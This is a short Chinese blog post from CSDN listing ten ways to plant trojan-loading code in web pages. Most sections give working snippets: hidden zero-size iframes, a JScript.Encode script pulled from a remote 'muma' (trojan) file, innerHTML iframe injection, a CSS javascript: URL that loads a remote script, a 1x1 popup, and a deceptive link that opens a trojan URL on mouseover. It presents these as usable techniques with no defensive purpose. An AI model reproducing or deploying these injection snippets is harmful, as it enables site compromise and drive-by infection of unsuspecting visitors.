常见的页面恶意代码及利用

最新推荐文章于 2022-10-04 12:10:56 发布

起个名字被占了

最新推荐文章于 2022-10-04 12:10:56 发布

阅读量1.3k

点赞数 1

分类专栏：安全相关 web前端文章标签：网络安全

本文链接：https://blog.csdn.net/u013648937/article/details/37672133

版权

安全相关同时被 2 个专栏收录

34 篇文章 0 订阅

订阅专栏

web前端

6 篇文章 0 订阅

订阅专栏

一:框架挂马

二:js文件挂马

   首先将以下代码
   document.write("<iframe width='0' height='0' src='地址'></iframe>");
   保存为xxx.js，
   则JS挂马代码为
   <script language=javascript src=xxx.js></script>

三:js变形加密

   <SCRIPT language="JScript.Encode"          src=http://www.jxcm.net/muma.txt></script>
   muma.txt可改成任意后缀

四:body挂马

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.jxcm.net/muma.htm/"></iframe>';

六:css中挂马

body {
background-image: url('javascript:document.write("<script src=http://www.jxcm.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

九:伪装调用：

十:高级欺骗

<a href="http://www.jxcm.net(迷惑连接地址，显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

起个名字被占了

关注

1
点赞
踩
2

收藏

觉得还不错? 一键收藏
1
评论
常见的页面恶意代码及利用

一:框架挂马二:js文件挂马首先将以下代码 document.write(""); 保存为xxx.js，则JS挂马代码为三:js变形加密 muma.txt可改成任意后缀四:body挂马五:隐蔽挂马 top.document.body.innerHTM
复制链接

扫一扫